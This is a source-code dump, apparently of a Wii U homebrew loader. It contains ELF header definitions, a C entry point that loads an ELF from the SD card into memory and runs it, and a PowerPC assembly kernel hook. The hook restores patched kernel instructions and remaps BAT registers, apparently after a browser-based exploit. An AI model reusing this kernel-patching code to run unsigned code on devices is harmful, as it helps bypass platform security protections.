#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */
================================================
FILE: sd_loader/src/entry.c
================================================
#include
#include "elf_abi.h"
#include "../../src/common/common.h"
#include "../../src/dynamic_libs/fs_defs.h"
#include "../../src/common/os_defs.h"
#define CODE_RW_BASE_OFFSET 0
#define DATA_RW_BASE_OFFSET 0
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
typedef struct _private_data_t
{
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
EXPORT_DECL(void, OSFatal, const char* msg);
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
EXPORT_DECL(void, exit, void);
EXPORT_DECL(int, FSInit, void);
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
EXPORT_DECL(int, FSDelClient, void *pClient);
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv);
} private_data_t;
static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)
{
int iFd = -1;
void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);
if(!pClient)
return 0;
void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);
if(!pCmd)
{
private_data->MEMFreeToDefaultHeap(pClient);
return 0;
}
int success = 0;
private_data->FSInit();
private_data->FSInitCmdBlock(pCmd);
private_data->FSAddClientEx(pClient, 0, -1);
do
{
char tempPath[FS_MOUNT_SOURCE_SIZE];
char mountPath[FS_MAX_MOUNTPATH_SIZE];
int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);
if (status != 0) {
private_data->OSFatal("FSGetMountSource failed.");
break;
}
status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
if(status != 0) {
private_data->OSFatal("SD mount failed.");
break;
}
status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1);
if(status != 0)
{
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
break;
}
FSStat stat;
stat.size = 0;
void *pBuffer = NULL;
private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);
if(stat.size > 0)
pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);
if(!pBuffer)
private_data->OSFatal("Not enough memory for ELF file.");
unsigned int done = 0;
while(done < stat.size)
{
int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);
if(readBytes <= 0) {
break;
}
done += readBytes;
}
if(done != stat.size)
{
private_data->MEMFreeToDefaultHeap(pBuffer);
}
else
{
*fileOut = (unsigned char*)pBuffer;
*sizeOut = stat.size;
success = 1;
}
private_data->FSCloseFile(pClient, pCmd, iFd, -1);
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
}
while(0);
private_data->FSDelClient(pClient);
private_data->MEMFreeToDefaultHeap(pClient);
private_data->MEMFreeToDefaultHeap(pCmd);
return success;
}
static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)
{
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdrs;
unsigned char *image;
int i;
ehdr = (Elf32_Ehdr *) elfstart;
if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0)
return 0;
if(ehdr->e_phentsize != sizeof(Elf32_Phdr))
return 0;
phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff);
for(i = 0; i < ehdr->e_phnum; i++)
{
if(phdrs[i].p_type != PT_LOAD)
continue;
if(phdrs[i].p_filesz > phdrs[i].p_memsz)
return 0;
if(!phdrs[i].p_filesz)
continue;
unsigned int p_paddr = phdrs[i].p_paddr;
// use correct offset address for executables and data access
if(phdrs[i].p_flags & PF_X)
p_paddr += CODE_RW_BASE_OFFSET;
else
p_paddr += DATA_RW_BASE_OFFSET;
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);
private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
if(phdrs[i].p_flags & PF_X)
private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz);
}
//! clear BSS
Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff);
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')
{
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
}
else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')
{
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
}
}
return ehdr->e_entry;
}
static void loadFunctionPointers(private_data_t * private_data)
{
unsigned int coreinit_handle;
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;
OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;
OSDynLoad_Acquire("coreinit", &coreinit_handle);
unsigned int *functionPtr = 0;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal);
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange);
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange);
OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf);
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit);
OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx);
OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient);
OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock);
OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource);
OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount);
OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount);
OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile);
OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile);
OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile);
OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile);
unsigned int sysapp_handle;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
}
int _start(int argc, char **argv)
{
{
private_data_t private_data;
loadFunctionPointers(&private_data);
while(1)
{
if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)
{
//! copy data to safe area before processing it
unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4);
if(pElfBuffer)
{
private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
private_data.MEMFreeToDefaultHeap(pElfBuffer);
}
ELF_DATA_ADDR = 0xDEADC0DE;
ELF_DATA_SIZE = 0;
}
if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)
{
unsigned char *pElfBuffer = NULL;
unsigned int uiElfSize = 0;
LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf", &pElfBuffer, &uiElfSize);
if(!pElfBuffer)
{
private_data.OSFatal("Could not load file " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf");
}
else
{
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
private_data.MEMFreeToDefaultHeap(pElfBuffer);
if(MAIN_ENTRY_ADDR == 0)
{
private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf");
}
}
}
else
{
int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);
//! exit to miimaker and restart application on re-enter of another application
if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)
{
break;
}
//! exit to homebrew launcher in all other cases
else
{
//MAIN_ENTRY_ADDR = 0xDEADC0DE;
//private_data.SYSRelaunchTitle(0, 0);
//private_data.exit();
break;
}
}
}
}
return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
}
================================================
FILE: sd_loader/src/kernel_hooks.S
================================================
# This stuff may need a change in different kernel versions
# This is only needed when launched directly through browser and not SD card.
.section ".kernel_code"
.globl SaveAndResetDataBATs_And_SRs_hook
SaveAndResetDataBATs_And_SRs_hook:
# setup CTR to the position we need to return to
mflr r5
mtctr r5
# set link register to its original value
mtlr r7
# setup us a nice DBAT for our code data with same region as our code
mfspr r5, 560
mtspr 570, r5
mfspr r5, 561
mtspr 571, r5
# restore the original kernel instructions that we replaced
lwz r5, 0x34(r3)
lwz r6, 0x38(r3)
lwz r7, 0x3C(r3)
lwz r8, 0x40(r3)
lwz r9, 0x44(r3)
lwz r10, 0x48(r3)
lwz r11, 0x4C(r3)
lwz r3, 0x50(r3)
isync
mtsr 7, r5
# jump back to the position in kernel after our patch (from LR)
bctr
================================================
FILE: sd_loader/src/link.ld
================================================
OUTPUT(sd_loader.elf);
ENTRY(_start);
SECTIONS {
. = 0x00800000;
.text : {
*(.kernel_code*);
*(.text*);
